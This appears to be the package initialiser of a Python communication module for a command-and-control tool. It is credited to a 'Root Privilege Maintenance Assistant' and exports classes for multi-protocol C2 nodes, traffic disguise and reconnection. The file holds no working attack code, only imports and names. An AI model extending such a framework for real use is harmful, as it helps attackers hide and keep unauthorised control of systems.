#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
通信模块
提供多协议通信、流量伪装和重连机制
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

__version__ = "1.0.0"
__author__ = "Root Privilege Maintenance Assistant"

# 导出主要类
try:
    from .multi_protocol import MultiProtocolManager, ProtocolType
    from .traffic_disguise import TrafficDisguiser, TrafficProfile
    from .reconnection import ReconnectionManager, C2Node, C2NodeType
    
    __all__ = [
        'MultiProtocolManager',
        'ProtocolType', 
        'TrafficDisguiser',
        'TrafficProfile',
        'ReconnectionManager',
        'C2Node',
        'C2NodeType'
    ]
except ImportError as e:
    print(f"Warning: Failed to import communication modules: {e}")
    __all__ = []